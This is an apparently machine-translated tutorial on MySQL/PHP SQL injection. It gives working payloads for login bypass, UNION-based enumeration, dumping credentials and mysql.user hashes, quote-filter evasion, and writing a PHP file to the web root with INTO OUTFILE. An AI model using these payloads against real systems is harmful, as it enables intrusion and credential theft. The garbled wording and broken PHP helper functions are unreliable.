SQL Injection – A Complete Understanding Tutorial

SQL injection is an attack to circumvent scripts using SQL queries, as is often the case on websites, and especially for user authentication systems.

[#] Introduction –

SQL, or Structured Query Language, is a Standard and standardized computer pseudo-language, intended to interrogate or manipulate a relational database – Wikipedia.

Today, with the development of dynamic websites, it is common to see web applications use a database. They handle so also SQL queries, which may involve variables from of the user. SQL injections, will come because these variables do not are not properly secured, and allow the user to divert queries by any means by injecting SQL code that will be executed.

In this article We’ll try to cover the broad field of SQL injections, focusing on injections using MySQL and PHP, but given the evolution of techniques and software, such an article never stays well complete.

[#] Functions, Expressions and Useful Information for SQL injection –

In this first part, We would only present/recall basic injections, classic examples, useful functions and information for manipulate the data, etc. We also advise those who are already a few familiar with the SQL injections to fly over this part and move on to following.

[#] Definition of tools –

Here are some links to the MySQL documentation, for the different tools that we will use here.

SELECT (also contains UNION, ORDER BY, GROUP BY, and INTO OUTFILE): http://dev.mysql.com/doc/refman/5.0/en/select.html
Logical operators: http://dev.mysql.com/doc/refman/5.0/en/logical-operators.html
Strings and numbers: http://dev.mysql.com/doc/refman/5.0/en/literals.html
The information functions: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html
The functions on the strings: http://dev.mysql.com/doc/refman/5.0/en/string-functions.html
LOAD DATA INFILE: http://dev.mysql.com/doc/refman/5.0/en/load-data.html
The information_schema tables: http://dev.mysql.com/doc/refman/5.0/en/information-schema-tables.html

Of course this list is non-hexaustive.

[#] Condition workaround –

The most basic SQL injection is to work around a condition, i.e. to set its value whatever the state of the parameters that it takes into account. For example, we can bypass a filter of statement by making a condition false, or bypassing a authentication with any password by making it true. A condition is in the following form, one or more true assertions or false, gathered using logical keywords like AND or OR:

… WHERE (assertion1 OR assertion2) AND assertion3
… HAVING NOT assertion

Here are some examples of SQL codes to put after a condition for the make true:

… OR true
… OR 1 = 1
… OR ‘a’ = ‘a’

And in the same way, to make it false:

… AND false
… AND 1 = 2
… AND ‘a’> ‘b’

As we understand it, the most common general syntax for bypassing a condition will be “OR assertion_real” or “AND assertion_false” depending on the result wish.

Here are two illustrations of this type of injection:

The first is an authentication that requires a password, and the second one is a script that checks if the user is banned.

sql = mysql_query(“SELECT id, name, email, rights FROM users
WHERE password='”. $_GET[‘password’]. “‘”);
if(mysql_num_rows($sql)!= 1)
echo ‘Error’;
else
{
$data = mysql_fetch_array($sql);
echo ‘Welcome’.$data[‘name’];
}

$sql = mysql_query(“SELECT id FROM banned WHERE ip='”. getIp().”‘”);
if(mysql_num_rows($sql)>0)
echo ‘You are Banned!’;
else
echo ‘Welcome’;
function getIp()
{
return isset($_SERVER[‘HTTP_X_FORWARDED_FOR’]) ? $_SERVER[‘HTTP_X_FORWARDED_FOR’] : $_SERVER[‘REMOTE_ADDR’];
}

For the first, it will be enough to access the file like this: file.php? password = ‘OR’ a’=’a

For the second by cons, it will send an HTTP header called X-Forwarded-For, the value will be ‘AND ‘a’=’b

[#] Query structure –

In order to make the most of the request we make our injection, it is useful to know the different seams: mainly the number and the names of fields and tables used. During an open-source audit this does not pose difficulties, but when that is not the case we have to find a way to obtain information about the request by ourselves. Let’s start with number of fields.

We will use the ORDER BY or GROUP BY, allowing respectively to order or group the returned results according to a precise criterion. This criterion is usually the name of a field in one of the tables that we question. So to order a name list by last name, then by name in alphabetical order we can make SELECT name, surname FROM people ORDER BY name ASC forename.

But the sort criterion (or grouping if we use GROUP BY) can also be a number, number which is in fact the index of the field according to which one wants to order the results.

So the above query could be rewritten SELECT name, surname FROM population ORDER BY ASC 1,2 where 1 denotes the field name and the field 2 first name. We can therefore determine the number of fields of a request in using the following injection, and waiting for a SQL error: ORDER BY i, where i is a number.

If the query contains at least i fields, then it will execute normally and will order the results according to the values ??of the ith field, but if it contains less, so it will return an error Unknown column ‘i’ in ‘order clause’. By proceeding step by step, we will know the number query field as soon as you get this error, just subtract 1 at the current value of i.

Another way to determine the number of fields in a query would have been to use UNION. This operator allows to join the results of several queries, but for that it is necessary, among other things, that the requests have the same number of fields.

UNION The syntax is: SELECT field1, field2, field3 FROM table1 UNION SELECT other1, other2, other3 FROM table2.

If the different requests joined by a UNION do not have the same number of field then MySQL will return the ERROR. The used SELECT statements-have a different number of column. So, proceeding in a way incremental as before we will know the number of fields, but this time as soon as we do not get an error but the query runs correctly.

The injection to be made is as follows:

… UNION SELECT 1
… UNION SELECT 1,1
… UNION SELECT 1,1,1

Now, with regard to the names of fields and tables, the only solution is the brute force (or the test of “probable names”). We must test the names like this for example for fields:

… ORDER BY field_name
… GROUP BY field_name

And like that for the tables:

… UNION SELECT 1,2,3 FROM table_name

These errors will be obtained if the field or the table does not exist: Unknown column ‘whatever_it_is’ in ‘order clause’ and Table ‘field.field_table’ does not exist.

By the way we notice that we found a first way to obtain the name of the base used. There is in fact another way to get the structure of mysql databases and tables (for versions> = 5), that’s to query the information_schema information base, but we’ll see that in a future paragraph.

Now remains to determine the type of fields, because even though the name is usually quite explicit, it can remain a ambiguity (for example an id field can be an identification number like 42, or a string like “4e694b6c3073”).

Unfortunately there is no SQL function like TYPEOF () or GETTYPE () that would return precisely the type of the field (int, bigint, varchar, text, date) but we can still determine if it is a chain of character or number using the CHARSET function (as for names, information_schema will be very useful for the types too, but we see this later).

This function returns the character set of the string passed as an argument, as well as by SELECT CHARSET (field) we obtain information on values ??stored in the field, so on the field itself.

For all the numeric types, as well as the types of “time” (date, year, …) this function will return binary and for strings they will return the name of the charset (latin1, latin2, utf8, ascii, big5, …). So we can test the injections next to know roughly what type we are dealing with:

… AND CHARSET (field_name) = ‘binary’
… AND CHARSET (field_name) = ‘latin1’
… AND CHARSET (field_name) IN (‘latin1’, ‘utf8’, ‘big5’, …)
… AND CHARSET (field_name) = CHARSET (123)
… AND CHARSET (field_name) = CHARSET (‘chain’)

So here we are in possession of enough information about the request where we wish to perform our injection, let’s move on to where we will see how retrieve information about the MySQL environment.

[#] Variables and Information Functions

There are several types of MySQL variables: variables defined by the user (which is written @name) and the system variables (which are written @@name).

They are usable in almost all the requests and can contain interesting information about the database, MySQL and or on the machine where MySQL is installed.

We can list the system variables available with the command: show variables, here are the most interesting:

@@basedir: the MySQL installation folder
@@character_set_X: the character set used by X (X can be client, system, server, …)
@@datadir: the folder where the MySQL data is stored (a sub folder with the name of the database is created for each database)
@@init_file: the location of the initialization file containing the queries executed at MySQL startup
@@local_infile: allows to know if LOCAL is supported with LOAD DATA INFILE
@@log_error: the MySQL error log file
@@max_xxx: the maximum configuration values ??of MySQL, in them exceeding it can prevent its proper functioning (for example block MySQL going beyond)
@@max_connections: or prevent the execution of a request by exceeding
@@max_allowed_packet: …)
@@port: the port on which MySQL listens
@@timestamp and @@timezone: get the time on the machine remote
@@version: the version of MySQL
@@version_compile_os: to get an info on the type of bone on which MySQL is installed (for example this variable can be pc-linux, Win32, …)
…

These variables are therefore a great source of information, just as information functions “of which the most interesting are:

DATABASE (): returns the name of the current database
USER (): Returns the user name and the current hostname (example: root @ localhost)
VERSION (): returns the version of MySQL

Our injections will be able to bring in these different elements, here some examples :

… UNION SELECT @@ version
… AND VERSION ()> ‘5.1’
… AND USER () LIKE ‘root%’

It was the first part of this article explaining how to get information, let’s now see another part of MySQL information.

[#] Information_schema and mysql

There exists in MySQL a database called information_schema which brings together information on the structure of databases and tables, on users, etc. The advantage of this database is that it is accessible in reading to all users, so we can, knowing its structure, interrogate it to recover crucial information in the case of an attack.

Here are the tables and the fields the most interesting:

SCHEMATA.SCHEMA_NAME contains the names of the different bases
TABLES.TABLE_NAME contains the names of the different tables
COLUMNS.COLUMN_NAME contains the names of the different fields
COLUMNS.COLUMN_TYPE contains the data type of the field corresponding
USERS_PRIVILEGES.IS_GRANTABLE allows to know if the user registered in
USER_PRIVILEGES.GRANTEE to the privilege designated by USER_PRIVILEGES.PRIVILEGE_TYPE

So we could imagine the following injections to exploit the data provided by information_schema:

… UNION SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE ()
… UNION SELECT PRIVILEGE_TYPE, IS_GRANTABLE FROM information_schema.USER_PRIVILEGES WHERE GRANTEE = USER ()
… UNION SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE COLUMN_NAME LIKE ‘% pass%’ AND DATA_TYPE = ‘

There exists a second interesting part in MySQL, it’s called simply mysql and contains several tables of information, one of which will interest us the most: the user table.

This table contains in particular: the identifiers (login and pass) of all users and hosts from which they are allowed to connect (as well as their privileges but we can already get them from of information_schema). Only problem the tables of this database are only accessible to the super-user (often “root”), so we will not be able to SQL injection to this one only if the MySQL connection was done with the latter.

Here is an example:

… UNION SELECT Password FROM mysql.user WHERE User = ‘root’
… UNION SELECT Password FROM mysql.user WHERE Host = ‘%’

Note that MySQL user passwords are encrypted with the algorithm used by the PASSWORD () function.

[#] Channel Manipulation, Encoding and Conversion

Now let’s look at a recurring problem in the area of SQL injections: that of the detection, or the escape of some special characters. For example, the directive (soon deleted) magic_quotes_gpc PHP escapes among others the quotes, single and double, so the slightest injection using a quote will be skewed and will fail.

Let’s see here various tips, conversions, encodings to try to circumvent these pseudo means of securing. Hexadecimal notation By default MySQL considers data in hexadecimal form (ie formatted like this: 0x53716c496e6a656374) as chains of characters. Thus SELECT 0x61626364 will return abcd. (the data hexadecimal numbers are considered as numbers if they are used in a numeric context, such as: SELECT 0x61 + 0x62, which will return 195.).

The advantage of this notation is the one we are looking for: it does not use any special characters. Thus we will be able to completely eliminate.

As for our injections, the two following injections are equivalent:

… AND password = ‘azerty’
… AND password = 0x617a65727479

Here is a PHP function to convert a string to hexadecimal:

function stringtohex ($string)
{
$hex =;
for ($i = 0; $i<strlen($string); $i++)
$hex. = base_convert(ord(substr($string, $i, 1)), 10, 16);
return ‘0x’.$hex;
}

[#] The CHAR function

Here’s another way to convert a string: use the CHAR function returns a string of characters constructed from ascii codes passed in argument.

So, to go back to the previous example:

… AND password = ‘azerty’
… AND password = CHAR (97,122,101,114,116,121)

And here is another PHP function to convert strings to this format:

function mysql_stringtochar($string)
{
$char =’CHAR(‘;
for ($i = 0; $i<strlen($string) -1; $i++)
$char = ord(substr($string, $i, 1)).’,’;
$char = ord(substr($string, strlen($string) -1, 1)).’)’;
return $char;
}

[#] The CONV function

So far we have encoded the data that we injections for compare the stored data with the CONV function we will consider stored data (so strings of characters) like numbers and thus we will no longer need to encode the injected data: we will provide numbers directly. CONV used to convert numbers of base to another.

The most common bases are base 2 (binary), 10 (decimal) and 16 (hexadecimal), but we can of course extend this to any what between 2 and 36. Here is the basic 36 / base 10 conversion that interests us: indeed the figures of the base 36 are the 10 usual numeric characters (from 0 to 9) and the 26 alphabetic characters (from a to z).

So every alphanumeric chain is potentially a base number 36, and so we can convert it in a database for which we will only use classical figures, not requiring the use of quotes.

Still using the same example:

… AND password = ‘azerty’
… AND CONV (password, 36, 10) = 664137574

Where 664137574 is the base 10 conversion of the number 36 in base 36.

The problem of this method is that CONV works with a precision of 64 bits, so for large numbers (or rather long chains) will be inaccurate: a whole range of values ??will be accepted while a only value should be.

To remedy this, here are some ideas for solutions.

The first is to determine the beginning of the chain by the method that we come to see, then determine the end, reversing the chain like this:

… AND CONV (REVERSE (password), 36, 10) = xxxxxx

The inaccuracy is then carried over to the end of the new chain (i.e. the beginning of the chain not reversed) that we already know.

Another solution to split the chain into several small chains, and to determine the chain part by part:

… AND CONV (SUBSTR (password, 1, 5)) = yyyyy

Where SUBSTR (X, a, b) retrieves the substring of the string X starting at index a and having a length of b.

These last two examples make an essential aspect of SQL injections: the manipulation of strings of characters. And it is not uncommon to use one or more functions handling chains to complete an injection. We already have showed the utility of REVERSE, which allows to return a chain, and of SUBSTR, which allows (like LEFT, RIGHT and MID) to extract a substring of a chain given, let’s see other examples now.

CONCAT can concatenate several chains, and can be practical in the case of a request or we can not select only one field:

… UNION SELECT CONCAT (login,’:’, password) FROM members WHERE id = 1

His big sister, GROUP_CONCAT is also very useful: it allows to concatenate in a single result, the values ??that would normally be returned on multiple outcomes, for example, if we do:

… UNION SELECT CONCAT (login,’:’, password) FROM members

The only result returned will be a string containing the identifiers of all members, built like this: login: pass, admin: plop, foo: bar.

We will remember also the functions LENGTH, CHAR_LENGTH and BIT_LENGTH which we will know the length of a string of characters:

… AND LENGTH (password) = 32 HEX and UNHEX which allow to carry out the conversions chain / hexadecimal, little
… AND password = ‘azerty’ …
AND HEX (HEX (password)) = 363137413635373237343739

HEX can also accept a number as an argument, but UNHEX tells it always return a string of characters. So UNHEX (HEX (97)), returns the character with 97 for ASCII code.

Example:

… AND password = ‘azerty’
… AND HEX (HEX (password)) = CONCAT (UNHEX (HEX (97)), UNHEX (HEX (101)), UNHEX (HEX (114)), UNHEX (HEX (116))

ASCII and ORD functions are also available to return the ASCII code of a character (or the first character of a string).

… AND ASCII (SUBSTR (password, 1, 1)) = 97

There are also cases where MySQL will return the error Illegal mix of snacks, especially when fields joined with UNION contain chains of characters that do not use the same charset.

To remedy this we can do UNHEX (HEX (str)) that will return a string using the charset used by MySQL and more generally, to choose ourselves the charset used:

CONVERT (str USING charset).

Always to test the value of a chain, we can use the operator LIKE, which allows to say if a chain corresponds to a mask, which can be built with two wildcard characters:% that replaces a sequence of characters and _ which replaces only one.

For example, we can to determine a field letter by letter like this:

… AND password LIKE ‘a%’
… AND password LIKE ‘az%’
… AND password LIKE ‘aze%’

And so on until you find the exact value. We can use the different conversions to get rid of quotes, and the BINARY keyword for that the comparison is case-sensitive.

The manipulations of chains are therefore common and very useful for SQL injection. Finally, for finish this paragraph, let’s see some tips that may be useful, using the comments.

If the end of a request is embarrassing, we can comment in three ways: #, -, or /**/ (the last one can comment several lines). There is also a way to determine the version of MySQL using a special comment syntax: /*!CODE VERSION*/.

Indeed like this CODE will only be executed if the version is greater than or equal to VERSION, where VERSION is a continuation of 5 numbers, for example the following query will only execute if the version of MySQL is at least 5.1.30:

… / *! 50130 UNION SELECT nickname, password FROM members * /

Spaces (in case it is filtered) can also be replaced by open-closed comments /**/:

… AND password = ‘azerty’
… AND/**/password/**/=/**/’azerty’

And in case some words are filtered we can quite using the same method, for example if the UNION and SELECT keywords are filtered:

… UN/**/ION S/**/ELECT …

[#] Manipulation of files –

Let’s talk about SQL injections using files. MySQL proposes us indeed some features to use files, namely LOAD DATA INFILE, LOAD_FILE and INTO OUTFILE / DUMPFILE. Although very interesting, this type of fault remains rather rare, mainly because of the fact that the user MySQL must have the MySQL FILE privilege to handle files, and that the latter is distributed drop-wise by administrators a little bit conscientious. It is good to specify also that for all the operations on the files that we will see:

We will only be able to access the files to which the MySQL server has access.
We will not be able to rewrite existing files, which prevents overwriting important files.
We will need to provide the full path of the file on the server, and not not the relative path.

Let’s talk first of LOAD DATA INFILE. It’s the one, I think, that we will use the least because it is not possible to use it in a query diverted: he needs a request in his own right. It allows, as its name indicates, to load the contents of a file in a table, and is used by such as:

LOAD DATA INFILE ‘path/to/file’ INTO TABLE table.

One could imagine a file backup script, which would:

LOAD DATA INFILE ‘/www/site/index.php’ INTO TABLE backup

But, as part of an attack, one could also imagine performing saving sensitive files such as:

LOAD DATA INFILE ‘/www/site/admin/.htaccess’ INTO TABLE members

Note that this query only saves the file in the member table, the display will be done by a script of the type “list of members”.

Here is now the special feature of LOAD DATA INFILE. We can read in the MySQL documentation: If LOCAL is specified, the file is read by the client program, and sent to the host. If LOCAL is not specified, the file must be on the host server, and will be read directly by the server.

Using LOCAL is slower than letting the server directly access to the files, because the contents of the file must be sent via the network to the server. On the other hand, you will not need FILE privileges for do a local loading. This clearly means that by repeating the previous requests, but writing this time LOAD DATA LOCAL INFILE we will be able to recover the contents of files without the FILE privilege, which is a huge weakness.

Now let’s go to INTO OUTFILE: it allows to write the result of a query to a file, and is used like this:

SELECT … INTO OUTFILE ‘/path/to/file.

Note that you can also use INTO DUMFILE, the difference that with this last MySQL will write only one line in the file destination, so we prefer here to use INTO OUTFILE. SQL injection using INTO OUTFILE will allow us to recover the contents of a table in a file. and thus tightened the form:

… UNION SELECT login, pass FROM admin INTO OUTFILE ‘/www/site/file.txt’

And we can also create files that will be interpreted by the server by choosing their extension, for example PHP files:

… UNION SELECT ‘<?php phpinfo (); ?>’ INTO OUTFILE ‘/www/site/evil.php’

Finally, see the LOAD_FILE function that reads a file and returns its contents as a string of characters. We use it for example like this:

SELECT LOAD_FILE (‘/www/site/user’).

The classic SQL injections, with This function will consist in recovering the non-visible content (for example PHP files) and export it to a new file that will be visible, in using INTO OUTFILE:

… UNION SELECT LOAD_FILE (‘/www/site/index.php’) INTO OUTFILE ‘/www/site/source.txt’

Finally, before closing this first part, note that these different operations on the files will also allow us to determine if a file exists or not on the server. Indeed, LOAD DATA INFILE needs a valid file path, otherwise the query will generate the error File ‘/www/ website/fake.txt’ not found.

In the same way, INTO OUTFILE will only write a file if this does not already exist, in which case the error will be obtained File ‘/www/site/admin/.htpasswd ‘already exists.

So we can use these errors to check the presence of a file. LOAD_FILE will also allow us to check if a file exists (and also if we have the privilege FILE) by testing that the return value is not zero.

You may also like: